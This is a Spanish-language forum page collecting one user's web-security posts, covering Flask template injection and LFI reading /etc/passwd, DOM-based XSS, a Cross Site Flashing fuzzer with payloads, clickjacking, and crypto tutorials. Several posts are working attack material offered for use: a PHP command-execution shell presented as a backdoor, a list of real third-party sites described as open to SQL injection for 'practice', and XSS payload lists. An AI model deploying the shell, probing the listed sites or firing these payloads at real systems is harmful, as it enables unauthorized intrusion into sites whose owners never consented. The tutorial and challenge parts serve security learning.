Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Dedalo

#1
Por estos días tuve la oportunidad de trabajar con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, un micro-framework que te permite hacer webs con Python y sintaxis de Jinja2. La aplicación que llegó a mis manos tenía un login, un panel que trabaja con una base de datos y hasta con algunos temas de criptografía. Me llamó mucho la atención como funcionaba y esto es un poco de lo que pude concluir.

Server-Side Template Injection

Por la forma en la que está diseñado Flask, podemos explotar Server Side Template Injection. Es interesante tomarlo en cuenta para el momento de hacer pentest porque ya le han reportado No tienes permitido ver los links. Registrarse o Entrar a mi cuenta explotando este tipo de vulnerabilidades.

El primer ejemplo es un XSS mediante Template Injection. Por defecto flask no filtra las variables cuando se usa request.args.get('var'). El código a continuación es vulnerable a XSS.

Código: python


from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/XSS')
def hello_xss():
template = '''<h2>Hola %s!</h2>''' % request.args.get('nombre')
return render_template_string(template, person=request.args.get('nombre'))

if __name__ == "__main__":
app.run(debug=True)



El cual se puede explotar fácilmente de la siguiente forma:



Otro vector de ataque que encontré fue LFI a través del popular open(), como se puede ver en el siguiente ejemplo:

Código: python


from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/LFI')
def hello_lfi():
template = '''<h2>Hola %s!</h2>''' % request.args.get('name')
return render_template_string(template, person=request.args.get('name'), get_user_file=get_user_file)

def get_user_file(f_name):
with open(f_name) as f:
return f.readlines()


if __name__ == "__main__":
app.run(debug=True)



El cual se puede explotar de la siguiente forma:



El código que usé en el anterior ejemplo en la variable name fue:

Código: php
<pre> {% for a in get_user_file("/etc/passwd") %} {{a}} {%endfor%} </pre>


También pude haber sacado el archivo completo de la siguiente forma:

Código: php
{{get_user_file("/etc/passwd")}}


Pero le puse el FOR para hacer que se vea mucho mejor, si quieren entender la diferencia entre {{}} y {%%} les recomiendo leer la info sobre FLASK en el link del principio de este post y la verdad 100% recomendable, un framework bien interesante.

Como se pueden imaginar, también se puede explotar Inyección SQL pero he pensado también en otros tipos de explotación bastante interesantes. Si se les ocurren otros métodos de explotación coméntenmelos y no olviden seguirme en TW como @SeguridadBlanca
#2
Wargames y retos / Reto PHP y Seguridad Web
Octubre 30, 2014, 02:24:47 PM
Hola, este reto lo hice para una campus party en la que participé y por cuestiones administrativas el reto nunca salió, se los dejo por aquí.

DEBEN ENCONTRAR QUE VULNERABILIDAD TIENE EL CÓDIGO Y CÓMO EXPLOTARLA

Código: php
<?php

$q = $_GET['a'];
$r = $_GET['b'];
$value = $_GET['v'];
$z2 = $q . $r;
$s = $_GET['c'];
$z1 = $s . $t;
$r4 = 34;
$x = "low";
$l = $x;
$t = $_GET['d'];
$r55 = 33;
$xx = $o;
$cd = $co . $pe;
$pq = $_GET['l'];
$c33 = $_GET['e'];
$y = $jr['x'];
$ss = "if x then y";
$a = $s.$r;
$c0 = $a($value);
$or = $dr;
$xor = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$xor2 = "!@#$%&";
$imp = $c33 . $xor . $xor2;
$l0b = (30000 * 3 * 60 * 60 * 60) / 1337;
$l0b2 = 8000 * 44 * 44;

$sss = $l0b * $l0b2 - 4444;

echo $imp;

if ($xx == $ss){
if ($lo != $d){
$rf = $ls;
}
$ll = $ss;
if ($po = $ro){
if ($x == "low"){
$dd = "high";
}
}
}

echo $c0;

if ($r4 >= 34){

echo "test".$y;

}

$r45 = $r4 . $r55;

$d8 = $d1;


?>



La Respuesta me la deben enviar por MP en el foro y tienen hasta la noche del 31 para resolverlo. Si encuentran mas de una vulnerabilidad en buena hora :) En la respuesta que me envíen deben decirme Que vulnerabilidad es y cómo explotarla.

GANADORES:
- Fermino
- Perverths0

Saludos,
Dedalo.
#3
Criptografía / ¿Criptografía?
Octubre 29, 2014, 07:19:32 PM
La criptografía actualmente se encarga del estudio de los algoritmos, protocolos y sistemas que se utilizan para dotar de seguridad a las comunicaciones, a la información y a las entidades que se comunican.1 El objetivo de la criptografía es diseñar, implementar, implantar, y hacer uso de sistemas criptográficos para dotar de alguna forma de seguridad. Por tanto el tipo de propiedades de las que se ocupa la criptografía son por ejemplo:

Confidencialidad. Es decir garantiza que la información está accesible únicamente a personal autorizado. Para conseguirlo utiliza códigos y técnicas de cifrado.

Integridad. Es decir garantiza la corrección y completitud de la información. Para conseguirlo puede usar por ejemplo funciones hash criptográficas MDC, protocolos de compromiso de bit, o protocolos de notarización electrónica.

Vinculación. Permite vincular un documento o transacción a una persona o un sistema de gestión criptográfico automatizado. Cuando se trata de una persona, se trata de asegurar su conformidad respecto a esta vinculación (content commitment) de forma que pueda entenderse que la vinculación gestionada incluye el entendimiento de sus implicaciones por la persona. Antiguamente se utilizaba el término "No repudio" que está abandonándose, ya que implica conceptos jurídicos que la tecnología por sí sola no puede resolver. En relación con dicho término se entendía que se proporcionaba protección frente a que alguna de las entidades implicadas en la comunicación, para que no pudiera negar haber participado en toda o parte de la comunicación. Para conseguirlo se puede usar por ejemplo firma digital. En algunos contextos lo que se intenta es justo lo contrario: Poder negar que se ha intervenido en la comunicación. Por ejemplo cuando se usa un servicio de mensajería instantánea y no queremos que se pueda demostrar esa comunicación. Para ello se usan técnicas como el cifrado negable.

Autenticación. Es decir proporciona mecanismos que permiten verificar la identidad del comunicador. Para conseguirlo puede usar por ejemplo función hash criptográfica MAC o protocolo de conocimiento cero.

Soluciones a problemas de la falta de simultaneidad en la telefirma digital de contratos. Para conseguirlo puede usar por ejemplo protocolos de transferencia inconsciente.

Un sistema criptográfico es seguro respecto a una tarea si un adversario con capacidades especiales no puede romper esa seguridad, es decir, el atacante no puede realizar esa tarea específica.
#4
Wargames y retos / Reto
Octubre 29, 2014, 02:48:08 AM
Bueno resulta que estaba haciendo un reto y pensaba dar una cantidad bonita en paypal pero primero quiero medir el nivel por lo que decidí hacer el reto mas simple primero, el premio será de 10 U$D en Paypal para el primero que lo resuelva, quien de con el valor de respuesta me la debe enviar por mensaje aquí en el foro. Mucha Suerte!


MODIFICADO!!!!!

mulcipher("espasmos") = 0x4e43414d46414449

mulcipher("dedalo") = 0x4d4f4f4d5943

mulcipher("respuesta") = ?

Tienen para resolverlo hasta el 31 de octubre por la tarde.

Los que estaban resolviendo el anterior también si quieren pueden seguir!

EDIT: El ganador, luego de que le acepte su respuesta como válida, debe hacer un texto de como lo resolvió.

Saludos,
Dedalo
#5
Seguridad web y en servidores / Dom Xss Persistente
Octubre 28, 2014, 02:53:23 PM
Resulta que en estos días he tenido unos flashes de ideas en la cabeza que me han llevado a hacer algunas pruebas con javascript... Por mas que encontré el término por algunas páginas no encontré un ejemplo real de esto y con un poco de imaginación llegué a algo interesante... DOM-Based Xss PERSISTENTES... Primero un ejemplo rápido de DOM Xss...

Código: javascript
<html>
<script type="text/javascript">
var prueba = location.hash;
document.write(prueba);
</script>
</html>


Guardamos ese código como dom.html (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) lo abrimos y no pasa nada pero si ponemos algo como: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta#"><img src=x onerror=prompt(1337)> tenemos un bonito prompt... ahora... he estado haciendo pruebas con localStorage y WebSQL y bueno miren la siguiente situación.

Código: javascript
<html>
<script type="text/javascript">
var msg;
var prueba = location.hash;
window.localStorage.prueba = prueba;
msg = window.localStorage.prueba;
document.write(msg);
</script>
</html>


Creamos un archivo con ese contenido y lo guardamos como dom1.html ingresamos y nos sale undefined verdad? ahora pongan No tienes permitido ver los links. Registrarse o Entrar a mi cuenta#"><img src=X onerror=prompt(1337)> como pueden ver salta el lindo prompt... se guardó en local y luego lo mostró en el sitio pero, ¿cómo confirmar esto?

Código: javascript
<html>
<script type="text/javascript">
var msg;
msg = window.localStorage.prueba;
document.write(msg);
</script>
</html>


creamos un documento llamado dom2.html con el contenido de arriba e ingresamos... casi como magia verdad? como pueden ver se ha mostrado el contenido del xss de un documento en el otro debido a que estaba guardado temporalmente...

Me pareció interesante compartirlo porque se me ocurren algunas formas interesantes de explotación imagen solamente que este storage vulnerable esté en un util.js que se use en todas las páginas...


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Saludos,
Dedalo
#6
Criptografía / Usando WebSQL con CryptoJS
Octubre 23, 2014, 04:01:49 PM
Me encontré que con la ayuda de nuevas funciones de javascript podemos hacer No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, algo muy similar a sqlite. El problema con este sistema, también conocido como No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, es que no tiene funciones de cifrado de información como tal. Entonces, decidí hacer un ejemplo de como implementar No tienes permitido ver los links. Registrarse o Entrar a mi cuenta con WebSQL para poder cifrar la data en las bases de datos.

Primer paso -> Importar AES:
Código: javascript
<script src="http://crypto-js.googlecode.com/svn/tags/3.1.2/build/rollups/aes.js"></script>



Segundo paso -> Cifrar la data que queremos y crear (abrir) la base de datos que queremos usar:
Código: javascript
var encrypted = CryptoJS.AES.encrypt("estoesunaprueba", "password"); // Cifrar "estoesunaprueba" con AES usando "password" como Contraseña
var db = openDatabase('encripted', '1.0', 'Test DB', 2 * 1024 * 1024); // Nombre, Versión, Descripción, tamaño
var msg; // Crear variable msg



Tercer paso ->  Ejecutar lo correspondiente en la base de datos:
Código: javascript
db.transaction(function (tx) { // Empezar el proceso de la base de datos
tx.executeSql('CREATE TABLE IF NOT EXISTS PRUEBAS (id unique, prueba)'); // Crear la tabla
var secquery = 'INSERT INTO PRUEBAS (id, prueba) VALUES (1,"' + encrypted + '")'; // Poner la data cifrada en la base de datos
tx.executeSql(secquery); // Ejecutar el Query
msg = '<p>Data inserted in row.</p>'; // Crear mensaje de que la data fue ingresada
document.querySelector('#status').innerHTML =  msg; // Escribirlo
});



Cuarto Paso -> Cambiar de Hexadecimal a Ascii :
Código: javascript
function unhex(hexx) { // Esto es para cambiar de hex a ascii el contenido desencriptado del AES
var hex = hexx.toString();// forzar la conversión
var str = ''; // crear variable str
for (var i = 0; i < hex.length; i += 2) // moverse por la palabra de dos en dos
str += String.fromCharCode(parseInt(hex.substr(i, 2), 16)); // sacar el texto de los hexadecimales
return str; // Mostrar el valor de STR
}



Quinto paso -> Sacar la data, descifrarla y mostrarla:
Código: javascript
db.transaction(function (tx) { // Empezar el proceso de la base de datos
tx.executeSql('SELECT * FROM PRUEBAS', [], function (tx, results) { // Query para sacar la data de PRUEBAS
msg = "<p> Data Found:</p>"; // Mensaje para el usuario
document.querySelector('#status').innerHTML +=  msg; // Escribir el mensaje para el usuario
msg = "<p><b>" + unhex(CryptoJS.AES.decrypt(results.rows.item(0).prueba, "password")) + "</b></p>"; // Obtener data de la BD - Mostrar mensaje descrifrado
document.querySelector('#status').innerHTML +=  msg; // Escribir mensaje descifrado
}, null);



El resto ya es poner el div llamado status para poder hacer que el código corra,  y listo muchachos, este es un ejemplo de como se puede usar WebSQL con CryptoJS para poder guardar data de manera segura.


¿Como lo usaría?

Imaginen poder hacer un script para escribir data sensible que deba ser guardada de manera urgente y lo puedan guardar en una base de datos en su navegador. Quiero ver si me da el tiempo para hacer una pequeña extensión de chrome para poder emular lo que digo.


Información útil:

Esto fue probado desde chromium en linux. Sin embargo, los navegadores modernos ya disponen de esto... (Firefox, Safari, Chrome). Para poder ver la base de datos y ver que el contenido si está cifrado pueden entrar a: ~/.config/chromium/Default/databases/ en caso de que estén usando su usuario por default de chromium

Si desean el script completo que hice pueden bajarlo de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta dándo click No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, los comentarios están en inglés, si no manejan mucho inglés, para comprender el código mejor mirar el de este tutorial.

Esta es la No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y Si tienen twitter y me pueden ayudar dando un RT este es el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.


Saludos,
Dedalo.
#7
Ideas y Sugerencias / SSL
Octubre 21, 2014, 02:24:14 AM
No me siento seguro en usar Tor en underc0de por temor a que puedan estar guardando data en el exit node de tor :/ podrían implementar SSL para poder estar mas seguros? no es necesario que sea un certificado comprado pueden hacer uno autofirmado y listo. Si gustan puedo ayudar pero para la seguridad, anonimato y privacidad de los usuarios del foro creo que es necesario.


Saludos,
Dedalo.
#8
Off Topic / Recomendación UX!
Octubre 19, 2014, 07:42:07 PM
Deberían cambiar el botón website por el de inicio es incómodo dar click al segundo boton en vez de al segundo para ir a la primera página del foro tomando en cuenta que es el menú del foro.


Saludos,
Dedalo.
#9
Después de un tiempo sin escribir el buen clima hizo que mi perspectiva y mente se abrieran como para escribir un post interesante sobre una función de cifrado que tiene mysql. La función de la cual hablaré es AES_ENCRYPT();.

Primero, para desasnarnos un poco. ¿Qué es AES?.

AES es un algoritmo de cifrado simétrico (que depende de una password para descifrar), está calificado como un cifrado muy seguro. Mayor información sobre el cifrado googleen, por ahora me dedicaré a explicar cual el problema que hay con mysql.

Para cifrar información directo con la función de mysql debemos especificar lo que queremos cifrar y la contraseña para cifrar/descifrar. Esto se realiza de la siguiente manera.

Código: mysql
mysql> SELECT HEX(AES_ENCRYPT('textoquequierocifrar', 'password'));
+------------------------------------------------------------------+
| HEX(AES_ENCRYPT('textoquequierocifrar', 'password'))             |
+------------------------------------------------------------------+
| 3FBC9CB7DE3881CB47A2007AF57B94C3849648881F12E3B49A23D83CF5842A9A |
+------------------------------------------------------------------+
1 row in set (0,02 sec)


Entonces, como pueden ver, nos devuelve el hex del AES de lo que hemos cifrado con la contraseña "password".

¿Dónde recae el "error" de esto? Por defecto Mysql no pone 256 bits al cifrado. Lo deja en 128 bits por lo que no es lo estandarizado para que el uso de AES sea completamente seguro. Haremos la consulta a la variable del sistema block_encryption_mode.

Código: mysql
mysql> SELECT @@session.block_encryption_mode;
+---------------------------------+
| @@session.block_encryption_mode |
+---------------------------------+
| aes-128-ecb                     |
+---------------------------------+
1 row in set (0,00 sec)


Aquí se muestra lo que digo, se está usando AES-128-ECB -> AES es el cifrado 128 los bits y ECB el modo de operación. Esta información se puede corroborar en la página oficial de developers de mysql donde se documenta el uso de esta variable del sistema puedes dar click No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Para cambiarla a la de 256 solo debemos ejecutar la siguiente consulta -> SET @@session.block_encryption_mode = 'aes-256-ecb';

Una vez realizada la consulta pueden volver a hacer un select de block_encryption_mode y el resultado será diferente:

Código: mysql
mysql> SELECT @@session.block_encryption_mode;
+---------------------------------+
| @@session.block_encryption_mode |
+---------------------------------+
| aes-256-ecb                     |
+---------------------------------+
1 row in set (0,00 sec)


Entonces, ahora, si ciframos un contenido se cifrará con un estándar realmente seguro. Cifraré lo mismo y veremos como cambia el resultado.

Código: mysql
mysql> SELECT HEX(AES_ENCRYPT('textoquequierocifrar', 'password'));
+------------------------------------------------------------------+
| HEX(AES_ENCRYPT('textoquequierocifrar', 'password'))             |
+------------------------------------------------------------------+
| 6D9E4A37311B9A9FAB28BB183020341FADB51A99E038F22213B44876F88FD15A |
+------------------------------------------------------------------+
1 row in set (0,00 sec)


Si nos fijamos el hash que nos dio en el primer ejemplo con el de ahora son diferentes porque el cifrado fue fortalecido.

Primer Resultado:
3FBC9CB7DE3881CB47A2007AF57B94C3849648881F12E3B49A23D83CF5842A9A

Segundo Resultado:
6D9E4A37311B9A9FAB28BB183020341FADB51A99E038F22213B44876F88FD15A

Para decifrar estos hashes es muy simple:

Código: mysql
mysql> SELECT AES_DECRYPT(UNHEX('6D9E4A37311B9A9FAB28BB183020341FADB51A99E038F22213B44876F88FD15A'), 'password');
+----------------------------------------------------------------------------------------------------+
| AES_DECRYPT(UNHEX('6D9E4A37311B9A9FAB28BB183020341FADB51A99E038F22213B44876F88FD15A'), 'password') |
+----------------------------------------------------------------------------------------------------+
| textoquequierocifrar                                                                               |
+----------------------------------------------------------------------------------------------------+
1 row in set (0,00 sec)



En el caso que quieran descifrar el de 128 bits no van a poder, deberán volver a cambiar la variable global a 128 bits para que puedan realizar el descifrado.

Espero que les sirva, pueden aprovechar esta función al máximo para poder brindarle una mayor seguridad y privacidad a los usuarios de sus sistemas. Pueden usarlo para cifrar información personal del usuario y a menos que el no ponga su password, que también se debe guardar cifrada, no se pueda ver la información personal. De esa manera ni el administrador podrá leer la información personal y se le dará una mayor privacidad al usuario. Sé que se lee redundante pero es complicado de explicar un uso masivo. Ya haré un post sobre como usarlo de manera masivo con varios usuarios y su información.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos,
Dedalo.
#10
Python / Base64 encode
Septiembre 13, 2014, 11:25:15 AM
Bueno, hace tiempo no compartía algo aquí pero pienso que compartir este código los puede ayudar. Todos hemos usado alguna vez base64 encode pero ¿qué hay detrás de la función?...

Código: python
#!/usr/bin/python

def base64encode(encode):
s = encode
keys = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
out = ""
nums = 0
i = 0
while (i<len(s)):
if nums == 6:
out += keys[ord(s[i - 1]) & 63]
out += keys[ord(s[i]) >> 2]
nums = 2
else:
chr1 = ord(s[i - 1]) & (2 ** nums - 1)
chr2 = ord(s[i]) >> (nums + 2)
chrt = (chr1 << (6 - nums)) | chr2
out += keys[chrt]
nums += 2
i = i + 1
if nums != 0:
out += keys[(ord(s[len(s) - 1]) & (2 ** nums - 1)) << (6 - nums)]

return out

print base64encode("Base64 This")



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Saludos,
Dedalo.
#11
Hacking ShowOff / XSRF + Cross Site Framing en Google
Agosto 19, 2013, 08:38:11 PM
He estado en estos días con un poco de tiempo libre así que me puse a buscar vulnerabilidades en google solo por diversión ya que es un target dificil, curiosamente encontré una vulnerabilidad, un link que si le mandas, lo deslogueas de su cuenta, se que muchos dirán click derecho al boton de desloguear copiar enlace y mandar eso, pero no, yo encontré una vulnerabilidad, una url de deslogueo es iframeable por lo que es vulnerable a ClickJacking y todos los ataques basados en FRAME por eso lo generalizo con Cross Site Framing... Sin mas que decir... un videito de la vuln.



Espero les guste, no hubo ni recompensa ni HoF pero me divertí mucho y eso cuenta...

Exploit:

   <iframe src="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" ></iframe>
   
Además una redirección:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos,
Dedalo.
#12
Pentesting / XSFF ~ Cross Site Flashing Fuzzer
Agosto 18, 2013, 06:54:37 PM
Les vengo a presentar esta t00lsita que hice en python, es un pequeño fuzzer de vectores de ataque de Cross Site Flashing... Debido al Cross Site Flashing entré al HoF de Apple y al de Microsoft por segunda vez en fin una pequeña intro...

A los .swf como a los php se les puede mandar variables al estilo get:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

muchas veces cuando ponen un .swf en una página web le envian estas variables para asignarle urls o colores o cosas asi... un pequeño ejemplo de la web de owasp:

Código: php
<object width="550" height="400" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,124,0">
<param name="movie" value="somefilename.swf">
<param name="FlashVars" value="var1=val1&var2=val2">
<embed src="somefilename.swf" width="550" height="400" FlashVars="var1=val1&var2=val2">
</embed>
</object>



Ahora yo les voy a mostrar otro ejemplo el básico de JWplayer...

Código: php
jwplayer("myElement").setup({
  file: "myVideo.mp4",
  skin: "bekle"
});


Como ven dice file: myvideo skin: bekle ponerlo en el código fuente de esa manera es igual que ir a:

jwplayer.swf?file=myVideo.mp4&skin=bekle

entonces como funciona la cosa bien fácil existen códigos vulnerables en los .swf también que permiten ejecución de codigo Script en ellos... pero obviamente la pregunta es:

¿Como veo el código fuente?

Hay herramientas que lo desencriptan pero justamente por eso he hecho el pequeño fuzzer la mayoría de Cross Site Flahing ocurren de la misma manera con las mismas variables o alguien ya encontró la vulnerabilidad y ya hay un exploit predeterminado... asi que les dejo el fuzzer para que lo usen ustedes :)

Como es para usar el fuzzer bien fácil:

primero descárguenlo El código:

Código: php
#!usr/bin/python

import sys
import webbrowser

END = "\033[0m"
blue = "\033[0;34m"
red = "\033[1;91m"


payloads = ['#javascript:alert(/XSFF/)','#http://seguridadblanca.in','#getURL(javascript:alert(/XSFF/))','#getURL(http://seguridadblanca.in)','#getURL,javascript:alert(/XSFF/)','#getURL,http://seguridadblanca.in','?javascript:alert(/XSFF/)','?http://seguridadblanca.in','?getURL(javascript:alert(/XSFF/))','?getURL(http://seguridadblanca.in)','?getURL,javascript:alert(/XSFF/)','?getURL,http://seguridadblanca.in','?clickTAG=javascript:alert(/XSFF/)','?clickTag=javascript:alert(/XSFF/)','?clickTag=http://seguridadblanca.in','?clickTAG=http://seguridadblanca.in','?url=javascript:alert(/XSFF/)','?url=http://seguridadblanca.in','?uri=javascript:alert(/XSFF/)','?uri=http://seguridadblanca.in','?URL=javascript:alert(/XSFF/)','?URL=http://seguridadblanca.in','?URI=javascript:alert(/XSFF/)','?URI=http://seguridadblanca.in','?baseurl=asfunction:getURL,javascript:alert(1337)//",','?base=javascript:alert(/XSFF/)','?base=http://seguridadblanca.in','?debug=alert(/XSFF/)','?movieName=%22]);}catch(e){}if(!self.a)self.a=!alert(/XSFF/);//','?skinName=asfunction:getURL,javascript:alert(1337)//','?onend=javascript:alert(1337)//','?imageURL=javascript:alert(/XSFF/)','?imageURL=" onerror=prompt(/XSFF/)','?callback=javascript:alert(/XSFF/)','?callback=http://seguridadblanca.in','?page=javascript:alert(/XSFF/)','?page=http://seguridadblanca.in','?buyNowUrl=javacript:alert(/XSFF/)','?id=0\%22))}catch(e){alert(1337)}//']


def helpyeah():
print "__ __ __  ___  ___"
print "\ V // _|| __|| __|"
print " ) ( \_ \| _| | _| "
print "/_n_\|__/|_|  |_| \n"
print red + "Hi bro/sis :) Usage is: " + sys.argv[0] + " Option \n \n"
print "Print Options:\n"
print "dorksite - This Option will search for .swf files in the domain"
print "flashsite - Will Fuzz for XSF" + END



def checkoption():

if sys.argv[1].lower() == "dorksite":
dorksite()
elif sys.argv[1].lower() == "flashsite":
xsfyeah()
else:
helpyeah()


def xsfyeah():
uri = raw_input("Input the URL: Ex. http://seguridadblanca.in/vuln.swf\n")
fout = open("xsff.html", "w")
fout.write("<center><h1>Cros Site Flashing Fuzzer</h1> By <a href=\"http://twitter.com/seguridadblanca\">Dedalo</a></center><br />")
for url in payloads:
op = "<a href=\"" + uri + url +"\">" + url + "</a><br />"
fout.write(op)
print blue + "Check xsff.html for clicking fuzz!!"
print "Thanks for using XSFF"
print ""
print "__ __ __  ___  ___"
print "\ V // _|| __|| __|"
print " ) ( \_ \| _| | _| "
print "/_n_\|__/|_|  |_| " + END


def dorksite():

domain = raw_input("Input the domain: Ex. seguridadblanca.in\n")
d1 = "site:" + domain + " filetype:swf"
d2 = "site:" + domain + " inurl:player.swf"
webbrowser.open_new_tab('https://www.google.com.pe/search?q=' + d1)
webbrowser.open_new_tab('https://www.google.com.pe/search?q=' + d2)


if len(sys.argv) < 2:
helpyeah()
else:
checkoption()


Segundo no necesitan tener nada instalado mas que python... ahora...

En su command van a la carpeta donde está el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y ponen

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta option

¿Cómo encontrar los vulnerable.swf? suelo hacer esta búsqueda:

site:test.com filetype:swf --> en Google.
site:test.com inurl:player.swf --> en Google.
site:test.com inurl:swfupload.swf --> en Google.

luego pues el .swf digamos encontramos No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

vamos a nuestra consola y le damos:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta flashsite y luego pegar No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Bueno un PoC que encontré buscando con el Cross Site Flashing Fuzzer:




Sobre todo muchas veces los pentesters no prueban Cross Site Flashing en sus clientes, con el fuzzer los ayudo para que aunque sea descarten esta vulnerabilidad como una posibilidad.

Link de Interés:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

La demo es con una versión anterior del script ahora he mejorado la herramienta o bueno le he aumentado una pequeña opción pones dorksite y automáticamente busca dorks de .swf para ver si encuentran alguno por google.


Post Original: Click No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Saludos,
Dedalo!
#13
Off Topic / Duda underc0de
Enero 15, 2013, 12:05:20 AM
hay algun tipo de plugin de comunidades o grupos algo asi para smf o que cada usuario tenga un muro tipo facebook como en vbulletin?


Saludos,
Dedalo
#14
Como algunos que me siguen en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ya se habrán dado cuenta pues ando de Xss Researcher en mis tiempos libres.

Hoy en la madrugada viendo unas cosas de CSS y luego de un rato un poco de researching de xss vi que alguien había escrito sobre esto:

<body style="cursor:none;">

Así es con css podemos hacer que el cursor desaparezca... entonces se pone interesante el caso no creen? lo que a mi se me ocurre así ligeramente digo y si creo un payload que haga que desaparesca el cursor y de click donde yo quiero haciendole creer que está en una posición en la que no...

Ya había visto algo parecido a esto en una época en la que usaban esto para que le dieras like a ciertos enlaces en facebook.

Bueno así a groso modo digamos que vamos a hacer que este poc se ejecute a través de un .js digamos que en nuestra victima es un banco nosotros podemos hacer en un teclado que no cambie posiciones que al dar click al 1 se apriete el 6 al dar click al 8 se apriete el 9 y así su transferencia se haría a nuestra cuenta mas no a la que la victima realmente quería transferirle.


me tocó buscar un buen rato la funcion No tienes permitido ver los links. Registrarse o Entrar a mi cuenta mediante la cual se puede dar una especie de lectura de funciones del js.

Bueno mi interés por esta técnica y mi madrugada y mañana de programador me propuse hacer un PoC code...


Se los dejo acontinuación...

Click para ir al  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta o para ver el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Espero les haya parecido interesante porque a mi si me parecio...


Saludos,
Dedalo

Post Original: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#15
Bugs y Exploits / Command Executer [MINI]
Julio 02, 2012, 10:20:40 PM
Lo podríamos mas usar como backd00r... aquí se los dejo igual y si les gusta...

Código: php
<?php
/*======================================*\
|| #################################### ||
|| # Command Line Runner - KrypTiK    # ||
|| #################################### ||
\*======================================*/
if(isset($_POST['sub'])){
    system($_POST['cmd']);
}
echo <<<FORM
<html>
    <head>
        <title>-CMD Line-</title>
        <style type="text/css">
            body {
                background: #000;
                color: #0C0;
                font-weight: bold;
                font-family: Lucida Console;
                text-align: center;
            } input {
                background: #000;
                border-style:solid;
                border-width:2px;
                border-color: #0C0;
                border-radius: 10px;
                color: #0C0;
                font-weight: bold;
                font-family: Lucida Console;
            } hr {
                background: #0C0;
                width: 100%;
                height: 1px;
                border-bottom: #000;
                border-top: #000;
            } footer*.head {
                font-size: 12px;
            } a*a:visited {
                color: #0C0;
                font-decoration: underline;
            } a:hover {
                color: #FFF;
                font-decoration: underline;
            }
        </style>
    </head>
    <body>
        <form method="POST">
            <h2>Command Executer<span class="head"><br>Made By KrypTiK</span></h2><hr>
            <input type="text" name="cmd"><input type="submit" name="sub" value="doCMD"><br><br>
            <a href="#"><footer>Made By KrypTiK</footer></a>
        </form>
    </body>
</html>
FORM;
?>



Saludos,
Dedalo
#16
Bugs y Exploits / Webs Vulnerables a SQLi
Julio 02, 2012, 04:44:26 PM
Aquí les dejo una listita de webs con SQLi para que practiquen y para que no se olviden... NO DEFACING PLS


Código: text

http://amiclub.net63.net/main.php?id=1
http://www.deffner.org/main.php?id=14&pic=3&tex=1&lis=1
http://www.smeda.org/main.php?id=111
http://www.stmaryslutterworth.org/pages/main.php?id=32
http://www.pedestrians-int.org/main.php?id=31
http://www.snhdt.org/events-main.php?id=6
http://www.kclbratuz.org/site/html/php/main.php?id=4
http://www.aimos.org/main.php?id=119&lang=en
http://www.rotaryhknw.org/main.php?id=59
http://www.calvarytyler.org/_pages/main.php?id=38
http://www.hospicefoundationok.org/main.php?id=13
http://www.calvarylm.org/kingjesus/main.php?id=5
http://www.kdkl.org/main.php?id=58042
http://www.qhdredcross.org/cn/main.php?id=26
http://www.latirajala.org/main.php?ID=103
http://www.socolab.de/content/main.php?id=10
http://www.weinschenk.de/bb/main.php?id=3
http://www.readyicons.com/iconset-preview.php?id=11
http://www.chambers.ie/preview.php?id=932
http://www.readyicons.com/iconset-preview.php?id=9
http://www.chambers.ie/preview.php?id=889
http://www.sledmass.com/pages.php?id=44
http://www.nutritioncare.net/pages.php?id=26
http://ihmahmedabad.com/pages.php?id=48
http://www.enlightenmentquartet.com/pages.php?id=9
http://susansey.com/pages.php?ID=5
http://snakedancecondos.com/pages.php?id=10
http://www.comotucomoyo.org/20_senti...rial.php?id=14
http://www.gorodokboxing.com/material.php?id=1



Saludos,
Dedalo
#17
Bugs y Exploits / Secure Shell (ACID SHELL BASED)
Julio 01, 2012, 05:54:45 PM
Esta shell está basada en lo que era la ACID Shell... tiene varios bypass aquí se las comparto.





No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Saludos,
Dedalo
#18
Bugs y Exploits / Vectores de Ataque Xss
Junio 30, 2012, 06:33:36 PM
Se que hay ya muchos Lists de vectores para Xss pero Les voy a pasar los que usé para algunos de mis mejores Xss:



Código: php
"><script>alert(0)</script>
</title><script>alert(/SeguridadBlanca/)</script>
"/><script>alert(1);</script>
'"><script>alert(0);</script>
"><iframe onclick=alert(1)></iframe>
</textarea>"><script>prompt(1)</script>
"><img src=x onerror=prompt(1);>
//>'>"><img src=x onerror=prompt(1);>
"><img src=x onerror=alert(/SeguridadBlanca/);>



